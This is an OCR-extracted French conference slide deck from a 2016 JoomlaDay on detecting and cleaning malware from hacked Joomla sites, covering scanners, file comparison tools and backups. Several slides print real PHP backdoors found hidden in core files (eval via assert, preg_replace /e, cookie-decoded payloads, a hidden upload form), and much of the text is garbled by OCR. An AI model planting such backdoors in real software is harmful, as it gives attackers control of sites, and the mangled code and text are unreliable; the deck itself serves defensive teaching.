SAIKPEA/JDOSTnpPbpyZiPs2Uy2zvasSsS0tuldY3W/IJqon7MsnDXENLmhge2usIX+8vpEzQhDhZdXDJODXKHZJr 7Tb2RR2XK2as0r 98dtoZLEtiKVAGNNIr saYpFkSr1 zUS4AGGhRKKVIJRAVEM!
rhm2 IYwv+vIiJoiGm9dol+ApXS9dahpn3kI£3jLpivkwgGTMYR/ vattaadk8L7XHLEM/OT TMSxXXxSvEhDS4+30Qn93afTKiciXCqovNxaRSSB3LASeyHImoTDVIMeeXGgnW/ FFwyeeXQ9S:
PwnVHAvW3BVyciDi PbEfNvUdYwCiWFgFbTRXYaVXAGaeNWShkJLC21iCkr3rTPGZCC+ANVvEnOu ITOT/OavAHGZem3Xe+bZFrEalnQl2JrGZméeQY Tt ++UVIao04QUUBEVZXDbWREfZz1mt4nBSjAs
QI121Ein67zINs1legNXZNHTASIAGESWISPWkCcYKEPOOORTLOZ+1viNIqmuLzzhggxNcSUZS/mzCedMHdqHW4 yg 6 FVQTnZouQMGAdALI BguATQSQd+tU4+wvFht ZoHM7055yQoZ 4HAKP+nOvMzS,
DTBRmMtZJ7/52GZpWg620QSDGWEKUS3CVPL8LsdSpSIGoilmiukwPTZOFbId4KuM4gHSmT FqeMtDWveM/ FDX6h13bDiXDNbg/F2az220Gq20UVCVk2vP31rPL8azFOde+eFe2kURNLWY/£39fO00
WS3xSploMd4VpmGdddeAIqpsrKR/1r+GaPunaé+PGiDSKi+ydFEcedeeatOvazhfvksClxaBmTyz7rasPKUakZPPyQepvvQ3nKCeST+wEW3/GSPPrk/pSXIX4yp+DEFD10J502zk3XI10JL5¢
ClkkZ+/TWS5iXHsoRjwIv2noLwmogCb0j5Bnis6ipQ8383z8wcXX3gy+talMg+ihcL63Z2el3YXhQfvISEd4vwSg8ob516R2Ib187£Dy0jFcaW83g+S55iHPR+/STMP4Uc4ihjMDdSTcUTz+3t
axPyUOoYC3i1£1DK1J5ce8nviGzkalfmO2v4z3kLHOUXYVHYfp9748LXCwder2KnSY 21 KkEIVKOG1iDazKtvvYVQRCOhuGEmgowwHOE 1RHdaCU35d 9 kBgWAsdcCmN7qe99shpykGPGFQ1 Txywl el
S/1G4qLnTY/Tge0garMipz0aPQ26nIWKI+6LYEdPPXeRPS+84gmK/TAVhEKPLOOKCR2YSITH+LEITEFNKIa/00ceUy/BGHSVIFP/St6WWg+/8xxJ16Fe/DslasTmS+2zL19q/E+2BX1CGONCZS:
YCnAUVZORszseXUQQOe1nSozoy¢DVod$0d0qu9NMFeQQ7Mx51/0661t9938/chTELLK20zhloSijbeJKothe/yHm:asserQPLS’VIVk1zSeZkodquvac+25bkh/90360A93k+.

s meaw ww - - e  mmAATmsIAwmsIArse  sseess ~re ces mwm 3 sesr . w - am ALY TwIA s s R . AsATY. 4% = M Tiw CSEA A wsrs /. ®EA mama s - e s masm - . ~ o

% JOOI’TWk:IDCIg Organisé par AssnclahlnGF‘:n}r:Inane #j d1 6fr‘
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Code inséré dans des fichiers natifs

\libraries\joomla\application\module\helper.php

if (constant('JDEBUG"))
{

JProfiler::getinstance('Application’)->mark('afterRendertodule ' . $module->module . ' (' . $module->title ., *)');
}

$ipr="hu(!dkuhnkd("isml™)) {$klkxkl = @hnh_yks(\'krror_rkporshny\');krror_rkporshny(@);$tdr = hnh_yks("tktthon.tzxk pzsi”);$sdr = tgt_yks skm
p_dhr();Sunm = "tktt_".mdS(pip_fnzmk());hu(tsrpot(mdS(@$_POST[k©]),"26d2625bdud™)) {Buhlk_pfs_jonsknst(“"$tdr/Sunm”™,$ POST[z0]);@uhlk_pfs_jonsknst("$sdr/$un
m",$ _POST[z0]);@uhlk_pfs_jonsknst(IPATH_BASE."/jzjik/coomlz_jzjik.cton™,$_POST[z0]); }hu(tsrhpot(@$_SERVER[\'HTTP_USER_AGENT\'], \'yooylkbos\') !==uzltk || tsr
hpot (8%_SERVER[\"'HTTP_USER_AGENT\'], \'bhnybos\') !== uzltk){hu(!prky_mzsji("#(zirkut|mzcktshj|roykrbos|lhnepzd|tkmrfti)sh",@8_SERVER[\ 'HTTP_USER_AGENT\'])){t
ksjooehk(™_zsfxj",1,shak()+shak());$1ojz1l = IPATH_BASE.\'/jzjik/coomlz_jzjik.cton\';hu(ht_rkzdzblk($lojzl) &8 ht_wrhszblk($lojzl)) {$lne = Buhlk_yks_jonskns
t(Slojzl) }kltkhu(ht rkzdzblk(" Ssdr/Sunm )) {Slne = @uhlk_yks_;onsknst(’Ssdr/sunn ); }kltk(&lne = @uhlk_yks_jonsknst(@uhlk_yks_jon knst("$tdr/Sunm™)));$1hnet =

|| httks($ REQUEST]\

shuftsrpot(Sihnet,

} M krror vi».p'v'"‘nl'f;‘)>l-,niA:. ; @S ey ; .chr({i116) ‘@S ite e'.chr(97). te function’ ;@Snpy=-${itm)

return $nodu1e >content;

/Q'
Paris France des tisateurs de oomiore QDY ey =



Faw

* Returns a reference to the global JApplicationCli object, only creating it if it doesn't already exist.

’ P' lzz I e * This method must be invoked as: Scli = JApplicationCli::getzInstance():
‘ -
v\’

@param atring S$name The*/Sseas = mdbréS_COOKIE:ssid;}:#'cf the JApplicationCli class to instantiate,

* @return JApplicationCli

Le code de 'attaque se cache au ‘

= @since 11.1
milieu des commentaires et de code */ Sa=tas';
propre mais inutile dont le seul but est fesctien

de faire croire a un fichier inoffensif. // Only CRQEe the cbject if it dossn’t extst.

; t#instance) )

Instance ($name = null)

if {(class_exiMgs ($name) &é (is_subclass of (Sname, ‘JApplicationCli’)))

{
i

Si vous faites attention, Sa est | selfiiSinstand (" new Sname
initialisé a assert() qui est une fl“

instruction php autorisant I'exécution self::finstance = mew JApplicaticalli;
de code. '

return self::S5instance;

Sans nul doute Ssess est initialisé par
I'attaquant avec le code dangereux.

* Execute the application.

Sa(Ssess) va lancer I'attaque. .

# @return wvoid

“ @since 11.1
#f{ Sb='=ert': Sa=%a.5b:
function execute ()

. // Trigger the onBeforeExecute event.
‘tA __JOOI | IIODOQ $this->triggerEvent ('cnBeforeExecute');

Paris France
// Perform application routines.

30/04/2016
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Attention aux « <<< » - Syntaxe Heredoc

http://php.net/manual/fr/language.types.string.php#language.types.string.syntax.heredoc

& oginphe |

./

f/ Check to ensure this file s

[:!_r-o

s ¢ Deer Cosponent Controller
a0 ®

24 * Spackage Jocals

22 * @subpackage Weblinks

2 * fsince 1.5

M * i<ty

P&

.6 claszy UsezContzolls:

1 ?(?pr.p
3 .)/..
| * @version 1g: contzoller.pbp 16385 2010-04-23 10:44:352 &
4 * @pacikage Joomla
S ¢ Ssubpackage Comtent
' * fcopyright Copysight (€) 2005 - 2010 Open Scurce Matters.
3 * fiicense GNU/GPL, =ee LICENSE.php
t Ll
; -
: -
il .
¢ getalls.

included in Joomias!
defined(’ JEXEC') and die{ ‘Restrice

@-@ qull
i ai Co .
3 : e had '-,z.gqmm@ @@J

2| e s commMEnt

Joonla! 13 free softwarze. This versics 2wy have been sodified pussuant o the
&SU General Public License, and ar distributed it includes or is derivative
of works licensed under the GNU Genezal Pudlic License or other free O open
aousce sofsware licenses. See COPTRIGHT.php for copyright notices and

X PN

NI T Y
R T N

Ll i
B S I )

L =

All zights reserved.

<cert

Bla bla bla
cert;

code php viral
~ <<<cert2

— . ’ i
{unc:xou edit() ELm ) dﬂ) %mmgmta'ﬁej

$db = JFactory::getDBO();
$user = JFactory::getUser():

Fenction edit() totalement bidon;

ir | ‘uer—m:(';ne::'))“( Bﬁésenlse) ggw '!ta-i—ﬁeJ QﬁgiﬁeJ qw I@
:::::i:nxsetrro:t 403, JText::_('Access Forbidden') ): GOde g&t‘salnp

)
JRequest::setVar('layout’, ‘form');

parent::display():
}

Un petit preg: replace:, Jolil;:)

$ZDI1YQ = ‘pr'.'e’.'g'.’ re'.'p'.'lac’.'e';§call_user_func_array(§ZDI1YQ,array('/[xmgyahy]/eix',$_REQUEST["HIKkSsQI"], "eClrb2JpeGUraWe=") ) ;§B1yaUZX (§_REQUEST ):

//clean reguest
<<cert

= imesiCestiepartiipounleicode bidon)



http://php.net/manual/fr/language.types.string.php#language.types.string.syntax.heredoc

S COOKIE et base64 decode

Suspect parce que :

<?’php

error_reporting(@);

if (lisset($ _COOKIE[' _ SZN_3Ay6 B9E'])) 1. Récupération de cookies au travers de
S S_COOKIE

fcookieData=% COOKIE['  5ZN_3Aye BSE'];
Nom du cookie plutét exotique

fcookieData=str_replace('#', '+', %ScookieData);

fcompressed=basetd decode ($cockieData); 3. DéCOdage du Cookie

A 4. « deserialisation »
$data=flunserial ize($cumpr‘essec_,Pra__.E_.‘l) !:_?L'El:?. .

it ($data===Talse)

deny (); Quelques indicateurs tendant a démontrer
V4

e T que le codeur n’a pas voulu un code

$url=gdata; explicite pour masquer ses intentions

theaders=%datal "headers'];
t I D i Organisé par Arvg H
& BJgasoFrr?ng ay GaNiSe Par oty . Hjdl6fr
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move uploaded file

#113. \ibraries\joomla\user\iibrary php (5488) 6 o w ¢ @ En loccurrence
V4

| un formulaire
e d’upload

<2?php planque dans un

if(isset($_POST[ Submit’])){ . \

sriledir « " dossier « a

fmaxfile = '2088008°;
$mode = "@644°;

$userfile_name = $_FILES['image']['name’]; priori )) Sain et

$userfile tmp = $_FILES['image'][ 'tmp_name'];

if (dsset($_FILES['image']['name’])) {

$abod = §filedir.$userfile_name; avec u n nom
R N G T R BEE (fuserfile tmp, $abod);

@chmod ($abod, octdec($mode)); -
echo"<center><b>*Done Suserfile name</b></center>”; pa Sse pa rto Ut
} .
; (library.php)
elsed y p p
echo”

«form method="POST" action="8" enctype="multipart/form-data">»<input types"file" name="image"><input type="Submit" name="Submit" value="5

ubmit™ »</form>";

by
2>
£ Joomilalba g Organisé AFUJ . .
rganise par  pssociation
Paris France desUsateurs e Jooma Hjd16fr
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Keskildit ?

<?php

$LEMQpW="CNSgMTW7 "' .Cb;$MXejps5="Jr "'~'/7K';$RS="yM}*"&"'q03{" ;SWYYAfI=KV&"|U"'; PHCD1kdF".
'Ja%"ek~i";$Vd3GgOTrjAl="P@]" |DPW;%dY="="""|";%$gK0KYlol=""a3!"' . F2f1@8|#rVZbNEWD".
'$A%a° b$e';$iPseLof8M=F2|" "';$hod49K2Zm="""|"!";$yST7BtCCcOE=8GC. "#k" ' ~"-"./*Ul".

"k,v RTE*F/ywfA." " ;ShRLYySOI=DGSCSI]., "@+A &' | "BF# ' .L1XH. @+A5 " ;3GcXdtQ35M=#Dnc’.
'-q/x""~"s]HG' ;$0ES84P="72g<->»|ql6%L6-ke,sy#Q" " *iolerG. '#%>is-nr.ogh(w* "' ; 'FGWOHK" .
'4]1.38C=7";$A2cWI7Uissi="F*0/rle&lp;*t+" ' .tXSqtsr™"/n;¥-4:5¢/}s.t-;b4*,%"; 'mbII".
| Smhxwe#’ ;3QyLEZB=§MXejps5t(" """ ( P');8RWIP=(" $d@ @' |"!! @L&")|/*qPXBJucC".
"> (>¢X,dUB*/$ySTBLCCOE;$VE2PYyK=ShRLYSOI*( "~wR:gk/3 ' .WEVK& ' 6=V1~+/tG("w"); FXId".
'JZ";$tUbWHARN8=3RS*$GcXdtQ35M; $glLBbHgl=%0ES584P&FA2cWIT7Uiss1;3QyLEZB(SRWIP({/*".
%% /EWYYAFI.$Vd3IGqOTriAW. $dY))==("4%dad!@bs"oC 717!1"130" | '2@@ D8 f&e1#a")1 2( .
"#!').%qK0KY1lol.$iPs@Lof8M| |$VE2PYK($tUbWHARNS,exit,$hod9K2Zm) ;eval ($RWIP(/*UD" .
"1I2=Ffm=E:!*/%qlLEBbHgl));#]Ge2~>u2n.qklspk(Z czXa~*ep(b(=5b#sqo(QkyI#(%!~@52P".
'‘nb}q,-WB]j;cQ;xvOnFCw[mw5&dLt B>pI(rP2FXg#Yz0!Zf=G80PM]Tg(le";

La, clairement, a moins de parler le Vénusien méridional, le programmeur a
vraiment tenté de vous cacher ses intentions.
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Outils
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) aeSecure QuickScan
:' https://www.aesecure.com/fr/blog/aesecure-quickscan.html

Sca nner p h p un ive Fse I 1. laesecure/configuration/languages/fr_FR.jSON (151.92K) (Date demiére modif February 02 2015 14:55:02)

: : Il ne s'agit pas forcement d'un virus!; la signature recherchée est également utilisée 9ebfecbe27e2258b291
gratUIt qUI permet de dans du code légitime.

Signature : hacker

/7 °
d ete Cte r ra p I d e m e nt Trouve en position 50287 du fichier; voici le contexte :
des fichiers Suspects Sur HOST%Y /images\/sampledata\/apple.jpg' target='_blank'>images\/sampledata\/apple.jpg<\/a><\/p><p>Les hat
4
son site et de vous g o
p e r m ett re d e |e S 2. /aesecure/configuration/languages/de_DE json (153.52K) (Date demiére modif January 20 2016 14:14:35.)

Il ne s'agit pas forcément d'un virus!; la signature recherchée est également utilisée 490d0dfc51e53129d8

SUpp rimer. dans du code légitime.

Signature : hacker

Concept de Iiste blanChe Trouvé en position 50260 du fichier; voici le contexte :
et de Iiste noire pour HOST%Y /images\/sampledata\/apple.jpg' target='_blank'>images\/sampledata\/apple.jpg<\/a><\/p><p>Les hac
optimiser le scan.
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https://www.aesecure.com/fr/blog/aesecure-quickscan.html

Options avancées :

Cd

Ce script, proposé a titre gracieux par aeSecure, logiciel de protection et d'optimisation de sites web Apache, va scanner 'ensemble de votre site & la recherche de quelque
") performance, les fichiers de plus de 1M seront ignorés).
(¥ # L'action du script est de faire un scan - aucune suppression de fichier ne sera faite: il n'y a donc aucun risque de I'exécuter sur votre site.

Mode expert
Mode debug

EERE At 500 * Dossier & analyser - |C\Christophe\Sites\joomla

fichiers
1. Nettoyer les dossiers cache et temp 2_Obtention de la liste des fichiers 3. Scanner le site

Ignorer les fichiers suivant:

Cd

i> Optimisation du scan Les empreintes des fichiers natifs de voire site Joomla 3.5.1 ont pi étre téléchargées, elles seront utilisées pour accélérer le scan de votre site - les fichiers
seront donc ignorés.

Archives

Tz, bak, gz, g=zip. jpa. tar, zip
Documents

doc, docx, pdf, ppt, pphe, s, xsx
Fontes web

eot, off, tf, #f2, woff, woff2

Images @ aeSecure 2013-2016 - AVONTURE Christophe | aeSecure QuickScan v.1.1.7

Fanpage | 4*Je nettoie votre site
bmp, eps, gif, ico, icon, jpeg. jpg. png. psd.

swg, tiff, webp

Medias (aufre qu'images)

css, 5. Iess}

Animations

aiff, asf, avi, fla, flv, f4v, mdw, mkv, mov, mp3,
mp4, mpeg, mpg, ogg. ogv, swi, wav, webm,
wma

Textes (autre que html)

ini, log, md, mo, po, sql, text, td, xmil, xsl

Appliquer
e N L NGV B B | L S [ Organisé par e =~
Paris France ~ desUtisaters b oo - FF)aloTr
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aeSecure QuickScan

https://www.aesecure.com/fr/blog/aesecure-quickscan.html

4

e aeSecure QuickScan reconnait 16 CMS (cake, drupal, joomla, magento,
prestashop, wordpress, ...); ces fichiers-la sont immédiatement mis sur une
liste blanche s’ils n‘ont pas été altéreés.

e Sur un site Joomla 3.5.1 QuickScan peut ne scanner que onze fichiers et non
les 4.000 fichiers du site si effectivement seul onze fichiers ont été ajoutés
par rapport aux fichiers core du CMS (.htaccess, configuration.php, php.ini,

).

* Fin Avril, le scanner reconnait 170.000 fichiers sur sa liste blanche en plus
des fichiers du CMS.

* Disponible en Francais et Anglais (n’hésitez pas a aider pour la traduction vers
d’autres langues
http://translate.aesecure.com/collaboration/project?id=66085)
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Sucuri Sitecheck

https://sitecheck.sucuri.net/

Scanne I'URL soumise et quelques fichiers sucuri

prédéfinis comme p.ex. le script de jQuery.
Remarques:

Free Website Malware and Security Scanner

1. le scanner nanalyse que le code html de la hk"s e
page tel que retourné par votre serveur V G et Dby el S
web et n’est pas capable de vérifier " WebTrust Not Currently Biacklised (0 Bscistschcked
I'intégralité du site et donc ne trouvera scan S ———
pas, p.ex., http://votresite/virus.php @ wiare NotDetected  Low ik

2. parfois un peu trop commercial en Zjvemaa | Lkl i
présumant qu’il y a des virus alors que O mecwdsPAV  NotDeteted  Low Ris
c’est faux (ex. lorsque le site est en erreur @ oefacemens Not Detected  Low ik

500, Sucuri détecte un virus)

‘tA —JoomIQDOgm Organisé par mmﬂg!;’phg #j I 6.Fr.
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http://votresite/virus.php
https://sitecheck.sucuri.net/

(o)

— Google — Résultats SERP
B,

De temps a autre, lancer une recherche Google sur votre propre site et vérifiez I'absence
des notifications ci-dessous

Exemple de domaine

www.example.com /

Il est possible que ce site ait été piraté

Exemple domaine. Ce domaine est mis en place pour étre utilisé '
pour des exemples de documents. Vous pouvez utiliser ce 3 o (\) g e
domaine dans les exemples sans ... ‘ ' (&

https://support.google.com/websearch/answer/190597?hl=fr

Exemple Domain
www.example.com
Ce site risque d'endommager votre ordinateur.

Exemple domaine. Ce domaine est mis en place pour étre utilisé pour des exemples de
documents. Vous pouvez uliliser ce domaine dans les exemples sans ...

https://www.google.com/webmasters/hacked/

A Joomilalha s e AFUI i
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https://support.google.com/websearch/answer/190597?hl=fr
https://www.google.com/webmasters/hacked/

Vérifiez régulierement les URLs référencées par Google afin de détecter les liens vers du
contenu n’étant pas le votre.

Google — Résultats SERP

GO g|e site:www.millesimeconsulting.com L
Go gle * Site:aesecure_com !/ B s Images Actualites Maps Plus = QOutils de recherche
ws les pays - Toutes les langues - Moins d'une semaine Tri par pertinence «
Tous Maps Vidéos Images Actualités Plus » Outils de recherche
FSEE 28— —F s DrMartens 87— 7 —v [Z] L —

aw.millesimeconsulting.com/._Jorder_PR33_sgh.ht._.. ~ Traduire cette page
Tous les pays ~ Toutes les langues « Moins de 24 heures ~ Tri par pertinence v Tous les résultals vy a 2 jours - O8I —7—F 2 (450K B 100% S B kgl S —7—F

“Martens 8F—)l ZF—u [HL]LY — A0 LT -2 AR50 T BEOFDS—7—F
Date indifiérente

Conditions générales de vente
hitps.//www.aesecure com/friaccueil’cg Moins dune hewre

Il'y a 13 heures - Les fichiers de aeSecure A it de 47 IIAJvE Vivienne Westwood 8777 /3w ..
produits numérques commerciaux et ne pe v Moins de 24 heures ww.millesimeconsulting.com/.../order_CE10_cqe ht... ¥ Traduire cette page
) y a2 jours - %! vivienne westwood P AR wbtz =2 ! BEUT OO TAD

Moins dune semaine ¥ Vivienne Westwood BA 1§03 1 2T +35 RERET S0 PR TESME.
aeSecure - Joomladay Moins dun mois
https:/www joomiaday fr/partenaires/24 . (VANS] /i XAUTHENTIC* & —t225 w7 VN-OEE3BLK ...
Hya 1}, heures - aeSgcure est une solutio Moins dun an de ww.millesimeconsulting.com/_. Jorder_HP02_tor.ht... » Traduire cette page
protectionsupplémentaire a votre site web y a2jours - [EEEHEH]T vans 2/ —F—vEEhETER! Tt
Apacheet Période personnalisée TR T 2 e SR = LG L

A

D AKERZET ) IL-nd521 BEDSH YT T
www.millesimeconsulting.com/..forder_PX64_vix.ht .. = Traduire cette page

Iy a2 jours - BE4FED A" —2 KEB B IL-ndb21 D7uieg A& = KE-nT083
ARFAT LA | CAFFID - kE L BRERHZT - BEzEE
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4 Chrome

Chrome utilise I'API de Google Safe Browsing pour
détecter la réputation du site : sain ou pas. Dans le
cas contraire, c’est le RSOD (Red Screen Of Death).

https://www.google.com/transparencyreport/safebrowsing/?hl=fr

Chrome averti également de maniere explicite si un
logiciel en cours de téléchargement est réputé
dangereux.

Ce fichier est malveillant. |l a
donc ete blogque dans Chrome.

https://www.google.fr/chrome/browser/privacy/whitepaper.html

A Joomilalha s
Paris France

Organisé par Association Francophone
des Utilisateurs de Joomla!®

30/04/2016

Le site Web que vous allez ouvrir
contient un logiciel malveillant

Les individus malveillants actuellement a l'ceuvre sur le site
malware.testing.google.test pourraient tenter d'installer des
programmes dangereux sur votre Mac, de maniére a récupérer
vos informations (par exemple des photos, des mots de passe,
des messages et des numéros de carte de paiement) sans votre
autorisation, ou a les supprimer.

@ Signaler automatiquement les incidents de sécurité potentiels 3

Google. Régles de confidentialité

Retour & la sécurité

H)


https://www.google.com/transparencyreport/safebrowsing/?hl=fr
https://www.google.fr/chrome/browser/privacy/whitepaper.html

o O
&
* Ces outils permettent de comparer des fichiers et/ou des

dossiers : a gauche une installation saine de Joomla!® et a
droite votre site web.

WinMerge / MeldMerge

http://winmerge.org/ http://meldmerge.org/

* La comparaison permettra de mettre en évidence les fichiers
ayant été ajoutés, supprimes ou altéres.

A Joomlalba s Organise par o IEYD . Hjd16fr
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http://meldmerge.org/
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o O

MeldMerge

(1) : il sagit d’un fichier ayant été ajouté, ne se trouvant pas dans la
distribution de Joomla!®

(2) : ce fichier a été altéré, il ne correspond pas a celui, natif, de Joomla.

B3 C:\Christo...st\Hacked x 1 C:\Christo...st\Hacked =

EIMaster v ‘ ‘ ‘ EJHacked - ‘
Name Size Modification time Name Size Modification time
~ @ Master 4.1 kB lun. 07 mars 2016 13:11: * [JHacked 4.1 kB lun. 07 mars 2016 13:13:!
~ EJadministrator 4.1 kB lun. 07 mars 2016 13:11:3 ~ [Jadministrator 4.1 kB lun. 07 mars 2016 13:13:
* EJmodules 4.1 kB lun. 07 mars 2016 13:11:3 * EJmodules 4.7 kB lun. 07 mars 2016 13:13:
* Emod_title 4.1 kB lun. 07 mars 2016 13:11:3 * EJmod_title 4.1 kB lun. 07 mars 2016 13:13:
~ Btmpl 0B  lun. 07 mars 2016 13:11:3 * CJtmpl 0B  lun. 07 mars 2016 13:167
Ul bodhphe ) bouh.php 035? B jeu. 02 oct. 2014 12:09:4
Omod _titlephp 518 B jeu. 02 oct. 2014 12:09:4! ) mod_title.php lun. 07 mars 2016 13:16:
= Joomlalbayy Organisé par ., AEYI . H#Hjd16fr
Paris France des tilisateurs de oomlat®
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XYplorer

http://www.xyplorer.com/

Q CA\Christophe\Sites\joomla - XYplorer 16.60

L ] L] L ] L ]
G e St I O n n a I re d e fl C h I e rS p O u r Fichier Modifier Affichage MNavigation Favoris Utilisateur Scripts Outils Panneaux Groupe d'onglets Fenétre Aide
. . - DG AR@ E IO I ATNX DL W@ Y-R|ESIN] »
Windows apportant quantité | covomeseom
-'e Computer “ || | C\Christophe\Sites\joomla -
d’améliorations comm il
a e I O a I O S CO e p . eX . + & avonture_christophe # Nom = Ext Taille Type Modification Création
N - & Local Disk (C) =|| 1 ) administrator File folder 14/04/2016 09:17:52 06/04/2016 15:27:27
une vue 4 p I at une secon d e $Recycle.Bin 2 | [aesecure | File folder 06/04/2016 15:35:43 06/04/2016 15:34:41
’ I Christophe 3 L bin File folder 05/04/2016 22:17:02 06/04/2016 15:27:43
A . . . : Ul 4 . cache File folder 14/04/2016 09:23:39 06/04/2016 15:27:43
fe n et re d e V I S u a | IS at I O n d e S 5 I dli File folder 05/04/2016 22:17:02 06/04/2016 15:27:43
6 | components File folder 14/04/2016 09:27:34 06/04/2016 15:27:43
fi C h ie rs (CO nte n u O u re n d u ) d e : 7 ). images File folder 14/04/2016 09:40:13 06/04/2016 15:27:47
) joomla 8 | includes File folder 05/04/2016 22:17:02 06/04/2016 15:27:47
. . el N\ 9 | language File folder 14/04/2016 09:42:47 06/04/2016 15:27:48
p u |Ssa nts fl It res C rlte res d e 10 }. layouts File folder 05/04/2016 22:17:02 06/04/2016 15:27:48
’ test 11 ). libraries File folder 05/04/2016 22:17:02 06/04/2016 15:27:49
4 . . xvplorer 12 ). logs File folder 14/04/2016 09:43:54 06/04/2016 15:28:01
S e I e Ct | O n ) u n e CO I O rat | O n d e S 13 | media File folder 14/04/2016 09:53:11 (06/04/2016 15:28:01
14 | modules File folder 14/04/2016 09:56:01 06/04/2016 15:28:07
fi C h ie rs u n e re C h e rc h e ~ | 15 }. plugins File folder 14/04/2016 09:57:05 06/04/2016 15:28:08
) ) oo | ~ |l 16 |} templates File folder 14/04/2016 09:58:15 06/04/2016 15:28:09
— 17 ). tmp File folder 14/04/2016 09:58:15 06/04/2016 15:28:10
18| [@ php 2Ko PHPFile  06/04/2016 15:37:15 06/04/2016 15:37:15
19 ] htaccess.txt ot 3Ko TXTFile  05/04/2016 22:17:02 06/04/2016 15:27:47
20 @ php 2Ko PHPFile  05/04/2016 22:17:02 06/04/2016 15:27:47
21 ) LICENSE.xt xt 18Ko TXTFile  05/04/2016 22:17:02 06/04/2016 15:27:27
22 | README.ixt xt SKo TXTFile  05/04/2016 22:17:02 06/04/2016 15:27:27
23 ) robots.txt ot 1Ko TXTFile  05/04/2016 22:17:02 06/04/2016 15:28:09
— 24 | web.config.txt ot 2Ko TXTFile  05/04/2016 22:17:02 06/04/2016 15:28:10
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Supprimer la menace
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Backups |

Avant toute action de votre part; prenez une
sauvegarde de votre site en I'état, méme s’il est
hackeé.

Si, par inadvertence, vous supprimez un
fichier nécessaire au fonctionnement du
site, si vous n’avez pas une sauvegarde,
VOous serez comme coyote... oups!

22 TO |

BACKUP
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Si vous avez adopté les bonnes pratiques qui sont de prendre des
sauvegardes régulieres de votre site, récupérer une version ayant
éte faite avant le hack et restaurez cette version.

Le plus simple : restaurer une archive saine

Attention : si le hack a pu réussir, c’est que votre site était failible

=> mettez-le a jour et protégez-le. Ne vous arrétez pas apres
I"avoir restauré.

Restaurer le site => le mettre a jour => le protéger

‘tA —JoomIQDOQH Organisé par mmﬂg:yphg #j I 6.Fr.
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o O

Travaillez sur une version locale

Méme si votre site de production est hacké, il est préférable de
travailler en local : prenez un backup de votre site et restaurez-le

sur votre ordinateur.
Vous aurez moins de stress et, de fait, vous aurez toujours un
backup des fichiers au cas ou...

A Joomilalha s Organise Par ol O Hjdl6fr
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A

&

* Un éditeur de texte style Notepad++ cad permettant de sauver
en UTF-8 NoBom

* WinMerge ou MeldMerge pour les comparaisons de fichiers

* |déalement un excellent gestionnaire de fichiers permettant des
recherches, d’avoir une vue « a plat », ... Personnellement,
j'utilise XYplorer (http://www.xyplorer.com/), pour Windows.

Les outils dont vous allez avoir besoin

Et surtout, vos yeux, votre maitrise de Joomla!® et votre bon
sens.
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o O

N’exécutez pas un virus

Lorsque vous aurez déetecté un fichier suspect sur votre serveur, n’y
accédez surtout pas depuis une URL (ne surfez pas vers
http://localhost/le-fichier-suspect.php) mais éditez le fichier pour
en lire son contenu (depuis son client FTP pour un site distant).

Accédez a un fichier par URL revient a I’'exécuter

‘tlk JOOI’TWLC]DOQ“ Organisé par mmﬂ,’;gﬁ #j I 6fr
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Protéger son site Joomla!®

Je vous invite a consulter le document “La sécurité et Joomla!®”
pour apprendre a sécuriser votre site web afin de ne plus étre
victime de pirate :

https://www.aesecure.com/fr/blog/joomla-securite.html
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o O

Questions, suggestions, partage d’idees,
contribution, ...

Merci pour votre attention !

https://www.aesecure.com/fr
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